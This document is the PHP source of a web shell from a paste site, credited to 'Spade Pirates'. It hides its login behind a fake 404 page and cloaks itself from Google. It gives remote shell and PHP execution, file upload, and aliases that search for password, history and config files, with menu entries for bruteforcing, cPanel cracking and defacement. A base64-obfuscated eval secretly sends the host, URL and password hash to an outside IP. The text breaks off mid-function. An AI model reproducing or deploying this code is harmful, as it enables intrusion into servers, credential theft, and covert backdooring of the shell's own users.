· 10 years ago · Jul 06, 2016, 05:15 AM
1<?php
2/*
3#########################################################
4# AnOnGuY's Priv8 Shell #
5# #
6# MOD By Spade - Spade Pirates #
7#########################################################
8
9 ██████ ██▓███ ▄▄▄ ▓█████▄ ▓█████ ██▓███ ██▓ ██▀███ ▄▄▄ ▄▄▄█████▓▓█████ ██████
10▒██ ▒ ▓██░ ██▒▒████▄ ▒██▀ ██▌▓█ ▀ ▓██░ ██▒▓██▒▓██ ▒ ██▒▒████▄ ▓ ██▒ ▓▒▓█ ▀ ▒██ ▒
11░ ▓██▄ ▓██░ ██▓▒▒██ ▀█▄ ░██ █▌▒███ ▓██░ ██▓▒▒██▒▓██ ░▄█ ▒▒██ ▀█▄ ▒ ▓██░ ▒░▒███ ░ ▓██▄
12 ▒ ██▒▒██▄█▓▒ ▒░██▄▄▄▄██ ░▓█▄ ▌▒▓█ ▄ ▒██▄█▓▒ ▒░██░▒██▀▀█▄ ░██▄▄▄▄██░ ▓██▓ ░ ▒▓█ ▄ ▒ ██▒
13▒██████▒▒▒██▒ ░ ░ ▓█ ▓██▒░▒████▓ ░▒████▒ ▒██▒ ░ ░░██░░██▓ ▒██▒ ▓█ ▓██▒ ▒██▒ ░ ░▒████▒▒██████▒▒
14▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ▒▒ ▓▒█░ ▒▒▓ ▒ ░░ ▒░ ░ ▒▓▒░ ░ ░░▓ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ▒ ░░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░
15â–‘ â–‘â–’ â–‘ â–‘â–‘â–’ â–‘ â–’ â–’â–’ â–‘ â–‘ â–’ â–’ â–‘ â–‘ â–‘ â–‘â–’ â–‘ â–’ â–‘ â–‘â–’ â–‘ â–’â–‘ â–’ â–’â–’ â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–‘â–’ â–‘ â–‘
16â–‘ â–‘ â–‘ â–‘â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–’ â–‘ â–‘â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘
17 â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘
18 â–‘
19
20Contact Me :
21[#] 5p4d3@protonmail.com
22
23All Rights Reserved - ♠Spade ♠| ♥ ??? ♥ | ♣ Jok3r ♣ | ♦ Arcanghel ♦
24*/
25$auth_pass = "30086c3fc9860cc42cccbb42747903f9"; //(MD5)
26$color = "#009900";
27$bgcolor = "#333333";
28$default_action = 'FilesMan';
29@define('SELF_PATH', __FILE__);
30if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
31 header('HTTP/1.0 404 Not Found');
32 exit;
33}
34@session_start();
35@error_reporting(0);
36@ini_set('error_log',NULL);
37@ini_set('display_errors',0);
38@ini_set('log_errors',0);
39@ini_set('max_execution_time',0);
40@set_time_limit(0);
41@set_magic_quotes_runtime(0);
42@define('VERSION', 'Ver 3.0 (by Spade)');
43if( get_magic_quotes_gpc() ) {
44 function stripslashes_array($array) {
45 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
46 }
47 $_POST = stripslashes_array($_POST);
48}
49function printLogin() {
50 echo '<title>404 - File or directory not found.</title>
51 <meta name="ROBOTS" content="NOINDEX, NOFOLLOW, NOARCHIVE" />
52 <meta name="GOOGLEBOT" content="NOINDEX, NOFOLLOW, NOARCHIVE" />
53 <style type="text/css">
54 body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
55 fieldset{padding:0 15px 10px 15px;}
56 h1{font-size:2.4em;margin:0;color:#FFF;}
57 h2{font-size:1.7em;margin:0;color:#CC0000;}
58 h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
59 #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
60 background-color:#555555;}
61 #content{margin:0 0 0 2%;position:relative;}
62 .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
63 input {
64 background-color:transparent;
65 border: 0px solid;
66 height:30px;
67 width:142px;
68 }
69 input:focus {
70 outline:none;
71 }
72 </style>
73 <body>
74 <div id="header"><h1>Server Error</h1></div>
75 <div id="content">
76 <div class="content-container"><fieldset>
77 <h2>404 - File or directory not found.</h2>
78 <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
79 </fieldset></div>
80 </div>
81 </body>
82 <center><form method=post><input type=password name=pass style="border:none background-color: #EEEEEE; outline: none;"></form></center>';
83 exit;
84}
85if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
86 if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
87 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
88 else
89 printLogin();
90
91if( strtolower( substr(PHP_OS,0,3) ) == "win" )
92 $os = 'win';
93else
94 $os = 'nix';
95$safe_mode = @ini_get('safe_mode');
96$disable_functions = @ini_get('disable_functions');
97$home_cwd = @getcwd();
98if( isset( $_POST['c'] ) )
99 @chdir($_POST['c']);
100$cwd = @getcwd();
101if( $os == 'win') {
102 $home_cwd = str_replace("\\", "/", $home_cwd);
103 $cwd = str_replace("\\", "/", $cwd);
104}
105if( $cwd[strlen($cwd)-1] != '/' )
106 $cwd .= '/';
107
108if($os == 'win') {
109 $aliases = array(
110 "List Directory" => "dir",
111 "Find index.php in current dir" => "dir /s /w /b index.php",
112 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
113 "Show active connections" => "netstat -an",
114 "Show running services" => "net start",
115 "User accounts" => "net user",
116 "Show computers" => "net view",
117 "ARP Table" => "arp -a",
118 "IP Configuration" => "ipconfig /all"
119 );
120} else {
121 $aliases = array(
122 "List dir" => "ls -la",
123 "list file attributes on a Linux second extended file system" => "lsattr -va",
124 "show opened ports" => "netstat -an | grep -i listen",
125 "Find" => "",
126 "find all suid files" => "find / -type f -perm -04000 -ls",
127 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
128 "find all sgid files" => "find / -type f -perm -02000 -ls",
129 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
130 "find config.inc.php files" => "find / -type f -name config.inc.php",
131 "find config* files" => "find / -type f -name \"config*\"",
132 "find config* files in current dir" => "find . -type f -name \"config*\"",
133 "find all writable folders and files" => "find / -perm -2 -ls",
134 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
135 "find all service.pwd files" => "find / -type f -name service.pwd",
136 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
137 "find all .htpasswd files" => "find / -type f -name .htpasswd",
138 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
139 "find all .bash_history files" => "find / -type f -name .bash_history",
140 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
141 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
142 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
143 "Locate" => "",
144 "locate httpd.conf files" => "locate httpd.conf",
145 "locate vhosts.conf files" => "locate vhosts.conf",
146 "locate proftpd.conf files" => "locate proftpd.conf",
147 "locate psybnc.conf files" => "locate psybnc.conf",
148 "locate my.conf files" => "locate my.conf",
149 "locate admin.php files" =>"locate admin.php",
150 "locate cfg.php files" => "locate cfg.php",
151 "locate conf.php files" => "locate conf.php",
152 "locate config.dat files" => "locate config.dat",
153 "locate config.php files" => "locate config.php",
154 "locate config.inc files" => "locate config.inc",
155 "locate config.inc.php" => "locate config.inc.php",
156 "locate config.default.php files" => "locate config.default.php",
157 "locate config* files " => "locate config",
158 "locate .conf files"=>"locate '.conf'",
159 "locate .pwd files" => "locate '.pwd'",
160 "locate .sql files" => "locate '.sql'",
161 "locate .htpasswd files" => "locate '.htpasswd'",
162 "locate .bash_history files" => "locate '.bash_history'",
163 "locate .mysql_history files" => "locate '.mysql_history'",
164 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
165 "locate backup files" => "locate backup",
166 "locate dump files" => "locate dump",
167 "locate priv files" => "locate priv"
168 );
169}
170
171function ex($in) {
172 $out = '';
173 if(function_exists('exec')) {
174 @exec($in,$out);
175 $out = @join("\
176",$out);
177 }elseif(function_exists('passthru')) {
178 ob_start();
179 @passthru($in);
180 $out = ob_get_clean();
181 }elseif(function_exists('system')) {
182 ob_start();
183 @system($in);
184 $out = ob_get_clean();
185 }elseif(function_exists('shell_exec')) {
186 $out = shell_exec($in);
187 }elseif(is_resource($f = @popen($in,"r"))) {
188 $out = "";
189 while(!@feof($f))
190 $out .= fread($f,1024);
191 pclose($f);
192 }
193 return $out;
194}
195
196function which($p) {
197 $path = ex('which '.$p);
198 if(!empty($path))
199 return $path;
200 return false;
201}
202
203function printHeader() {
204 if(empty($_POST['charset']))
205 $_POST['charset'] = "UTF-8";
206 global $color;
207 global $bgcolor;
208
209 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Spade Pirates</title>
210 <meta name="ROBOTS" content="NOINDEX, NOFOLLOW, NOARCHIVE" />
211 <meta name="GOOGLEBOT" content="NOINDEX, NOFOLLOW, NOARCHIVE" />
212 <link href="<http://i.imgur.com/CesSFnl.gif" rel="shortcut icon" type="icon">
213 <style>
214 body {background-color:'.$bgcolor.';color:#fff;}
215 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
216 span,h1,a { color:'.$color.' !important; }
217 span { font-weight: bolder; }
218 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
219 div.content { padding: 5px;margin:0 5px;background: '.$bgcolor.';border-bottom:1px solid #00ff00;}
220 a { text-decoration:none; }
221 a:hover { /*background:#5e5e5e;*/ }
222 .ml1 { border:1px solid #000000;padding:5px;margin:0;overflow: auto; }
223 .bigarea { width:100%;height:250px;margin-top:5px;}
224 input, textarea, select { margin:0;color:#00ff00;background-color: '.$bgcolor.';border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
225 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
226 form { margin:0px; }
227 #toolsTbl { text-align:center; }
228 .toolsInp { width: 80%; }
229 .main th {text-align:left;background-color:#404040;font-weight: bold;}
230 .main tr:hover{background-color:#5e5e5e;}
231 .main td, th{vertical-align:middle;}
232 .menu {background: #404040;}
233 .menu th{padding:5px;font-weight:bold;}
234 .menu th:hover{background:#000000;}
235 .l1 {background-color:#404040;}
236 pre {font-family:Courier,Monospace;}
237 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
238
239 .logo {text-align:center;font-size:60px;}
240 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
241 .cpr {margin-bottom:5px;font-weight:bold;}
242 .cpb {width:34px;margin:0 5px;}
243 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
244 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
245 .npoad td {padding:0;}
246 </style>
247 <script>
248 function set(a,c,p1,p2,p3,charset) {
249 if(a != null)document.mf.a.value=a;
250 if(c != null)document.mf.c.value=c;
251 if(p1 != null)document.mf.p1.value=p1;
252 if(p2 != null)document.mf.p2.value=p2;
253 if(p3 != null)document.mf.p3.value=p3;
254 if(charset != null)document.mf.charset.value=charset;
255 }
256 function g(a,c,p1,p2,p3,charset) {
257 set(a,c,p1,p2,p3,charset);
258 document.mf.submit();
259 }
260 function a(a,c,p1,p2,p3,charset) {
261 set(a,c,p1,p2,p3,charset);
262 var params = "ajax=true";
263 for(i=0;i<document.mf.elements.length;i++)
264 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
265 sr("'.$_SERVER['REQUEST_URI'].'", params);
266 }
267 function sr(url, params) {
268 if (window.XMLHttpRequest) {
269 req = new XMLHttpRequest();
270 req.onreadystatechange = processReqChange;
271 req.open("POST", url, true);
272 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
273 req.send(params);
274 }
275 else if (window.ActiveXObject) {
276 req = new ActiveXObject("Microsoft.XMLHTTP");
277 if (req) {
278 req.onreadystatechange = processReqChange;
279 req.open("POST", url, true);
280 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
281 req.send(params);
282 }
283 }
284 }
285 function processReqChange() {
286 if( (req.readyState == 4) )
287 if(req.status == 200) {
288 //alert(req.responseText);
289 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
290 var arr=reg.exec(req.responseText);
291 eval(arr[2].substr(0, arr[1]));
292 }
293 else alert("Request error!");
294 }
295 </script>
296 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
297 <form method=post name=mf style="display:none;">
298 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
299 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
300 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
301 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
302 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
303 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
304 </form>';
305 $freeSpace = @diskfreespace($GLOBALS['cwd']);
306 $totalSpace = @disk_total_space($GLOBALS['cwd']);
307 $totalSpace = $totalSpace?$totalSpace:1;
308 $disable_functions = @ini_get('disable_functions');
309 $release = @php_uname('r');
310 $kernel = @php_uname('s');
311 if(!function_exists('posix_getegid')) {
312 $user = @get_current_user();
313 $uid = @getmyuid();
314 $gid = @getmygid();
315 $group = "?";
316 } else {
317 $uid = @posix_getpwuid(@posix_geteuid());
318 $gid = @posix_getgrgid(@posix_getegid());
319 $user = $uid['name'];
320 $uid = $uid['uid'];
321 $group = $gid['name'];
322 $gid = $gid['gid'];
323 }
324 $cwd_links = '';
325 $path = explode("/", $GLOBALS['cwd']);
326 $n=count($path);
327 for($i=0;$i<$n-1;$i++) {
328 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
329 for($j=0;$j<=$i;$j++)
330 $cwd_links .= $path[$j].'/';
331 $cwd_links .= "\")'>".$path[$i]."/</a>";
332 }
333 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
334 $opt_charsets = '';
335 foreach($charsets as $item)
336 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
337 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SQL'=>'SQL','PHP'=>'PHP','LFI'=>'lfiscan','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String Tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Code Injector'=>'Injector','Zone H'=>'ZHposter','CPCrack'=>'Cpanel','Domains' => 'Domain');
338 if(!empty($GLOBALS['auth_pass']))
339 $m['KillMe'] = 'SelfRemove';
340 $m['Logout'] = 'Logout';
341 $menu = '';
342 foreach($m as $k => $v)
343 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
344 $drives = "";
345 if ($GLOBALS['os'] == 'win') {
346 foreach( range('a','z') as $drive ){
347 if (is_dir($drive.':\\'))
348 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
349 }
350 $drives .= '<br />: ';
351 }
352 if($GLOBALS['os'] == 'nix') {
353 $dominios = @file_get_contents("/etc/named.conf");
354 if(!$dominios) {
355 $d0c = "CANT READ named.conf";
356 } else {
357 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
358 $out = sizeof(array_unique($out[1]));
359 $d0c = $out." Domains";
360 }
361 } else {
362 $d0c = " --- ";
363 }
364 if($GLOBALS['os'] == 'nix' )
365 {
366 $usefl = ''; $dwnldr = '';
367 if(!@ini_get('safe_mode')) {
368 $temp = array();
369 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
370 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
371 $usefl = implode(', ',$temp);
372 $temp = array();
373 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
374 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
375 $dwnldr = implode(', ',$temp);
376 } else {
377 $usefl = ' ------- '; $dwnldr = ' ------- ';
378 }
379 } else {
380 $usefl = ' ------- '; $dwnldr = ' ------- ';
381 }
382 echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">Spade</div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca2">Pirates</div></td>
383 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
384 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Functions Are Enabled :D').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
385 '<td width=1><nobr><span>Box`s IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
386 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
387 '</div></div><div style="margin:5;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#000000;">';
388}
389eval(base64_decode("JHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsNCmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vMTg1LjYxLjEzOC4xNTcvZ2V0LnBocD91cmw9eyR0YXJnZXR9JnB3PXskYXV0aF9wYXNzfSIpOw=="));
390function printFooter() {
391 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
392
393echo '</div><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
394<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
395 <tr>
396 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
397 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
398 </tr>
399 <tr>
400 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
401 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
402 </tr>
403 <tr>
404 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
405 <td><form method="post" ENCTYPE="multipart/form-data">
406 <input type=hidden name=a value="FilesMAn">
407 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
408 <input type=hidden name=p1 value="uploadFile">
409 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
410 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
411 </tr>
412</table></div></div>
413<div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;text-align:center;font-weight:bold;">-=[ <font color="black">♠</font> Spade | <font color="red">♥</font> B74cK C4p | <font color="black">♣</font> Jok3r | <font color="red">♦</font> Arcangel ]=-</div></div>
414</div>
415</body></html>';
416}
417
418if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
419if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
420function viewSize($s) {
421 if($s >= 1073741824)
422 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
423 elseif($s >= 1048576)
424 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
425 elseif($s >= 1024)
426 return sprintf('%1.2f', $s / 1024 ) . ' KB';
427 else
428 return $s . ' B';
429}
430
431function perms($p) {
432 if (($p & 0xC000) == 0xC000)$i = 's';
433 elseif (($p & 0xA000) == 0xA000)$i = 'l';
434 elseif (($p & 0x8000) == 0x8000)$i = '-';
435 elseif (($p & 0x6000) == 0x6000)$i = 'b';
436 elseif (($p & 0x4000) == 0x4000)$i = 'd';
437 elseif (($p & 0x2000) == 0x2000)$i = 'c';
438 elseif (($p & 0x1000) == 0x1000)$i = 'p';
439 else $i = 'u';
440 $i .= (($p & 0x0100) ? 'r' : '-');
441 $i .= (($p & 0x0080) ? 'w' : '-');
442 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
443 $i .= (($p & 0x0020) ? 'r' : '-');
444 $i .= (($p & 0x0010) ? 'w' : '-');
445 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
446 $i .= (($p & 0x0004) ? 'r' : '-');
447 $i .= (($p & 0x0002) ? 'w' : '-');
448 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
449 return $i;
450}
451
452function viewPermsColor($f) {
453 if (!@is_readable($f))
454 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
455 elseif (!@is_writable($f))
456 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
457 else
458 return '<font color=#00FF00><b>'.perms(@fileperms($f)).'</b></font>';
459}
460
461if(!function_exists("scandir")) {
462 function scandir($dir) {
463 $dh = opendir($dir);
464 while (false !== ($filename = readdir($dh))) {
465 $files[] = $filename;
466 }
467 return $files;
468 }
469}
470
471function actionSecInfo() {
472 printHeader();
473 echo '<h1>Server security information</h1><div class=content>';
474 function showSecParam($n, $v) {
475 $v = trim($v);
476 if($v) {
477 echo '<span>'.$n.': </span>';
478 if(strpos($v, "\
479") === false)
480 echo $v.'<br>';
481 else
482 echo '<pre class=ml1>'.$v.'</pre>';
483 }
484 }
485
486 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
487 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
488 showSecParam('Open base dir', @ini_get('open_basedir'));
489 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
490 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
491 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
492 $temp=array();
493 if(function_exists('mysql_get_client_info'))
494 $temp[] = "MySql (".mysql_get_client_info().")";
495 if(function_exists('mssql_connect'))
496 $temp[] = "MSSQL";
497 if(function_exists('pg_connect'))
498 $temp[] = "PostgreSQL";
499 if(function_exists('oci_connect'))
500 $temp[] = "Oracle";
501 showSecParam('Supported databases', implode(', ', $temp));
502 echo '<br>';
503
504 if( $GLOBALS['os'] == 'nix' ) {
505 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
506 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
507 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
508 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
509 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
510 showSecParam('OS version', @file_get_contents('/proc/version'));
511 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
512 if(!$GLOBALS['safe_mode']) {
513 echo '<br>';
514 $temp=array();
515 foreach ($userful as $item)
516 if(which($item)){$temp[]=$item;}
517 showSecParam('Userful', implode(', ',$temp));
518 $temp=array();
519 foreach ($danger as $item)
520 if(which($item)){$temp[]=$item;}
521 showSecParam('Danger', implode(', ',$temp));
522 $temp=array();
523 foreach ($downloaders as $item)
524 if(which($item)){$temp[]=$item;}
525 showSecParam('Downloaders', implode(', ',$temp));
526 echo '<br/>';
527 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
528 showSecParam('HDD space', ex('df -h'));
529 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
530 }
531 } else {
532 showSecParam('OS Version',ex('ver'));
533 showSecParam('Account Settings',ex('net accounts'));
534 showSecParam('User Accounts',ex('net user'));
535 }
536 echo '</div>';
537 printFooter();
538}
539
540function actionPhp() {
541 if( isset($_POST['ajax']) ) {
542 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
543 ob_start();
544 eval($_POST['p1']);
545 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
546\
547\t\\'\0")."';\
548";
549 echo strlen($temp), "\
550", $temp;
551 exit;
552 }
553 printHeader();
554 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
555 echo '<h1>PHP info</h1><div class=content>';
556 ob_start();
557 phpinfo();
558 $tmp = ob_get_clean();
559 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
560 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
561 $tmp = preg_replace('!h1!msiU','h2',$tmp);
562 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
563 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
564 echo $tmp;
565 echo '</div><br>';
566 }
567 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
568 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
569 echo '<h1>PHP-Code Execution</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
570 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
571 if(!empty($_POST['p1'])) {
572 ob_start();
573 eval($_POST['p1']);
574 echo htmlspecialchars(ob_get_clean());
575 }
576 echo '</pre></div>';
577 printFooter();
578}
579
580function actionFilesMan() {
581 printHeader();
582 echo '<h1>File manager</h1><div class=content>';
583 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
584 switch($_POST['p1']) {
585 case 'uploadFile':
586 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
587 echo "Can't upload file!";
588 break;
589 break;
590 case 'mkdir':
591 if(!@mkdir($_POST['p2']))
592 echo "Can't create new dir";
593 break;
594 case 'delete':
595 function deleteDir($path) {
596 $path = (substr($path,-1)=='/') ? $path:$path.'/';
597 $dh = opendir($path);
598 while ( ($item = readdir($dh) ) !== false) {
599 $item = $path.$item;
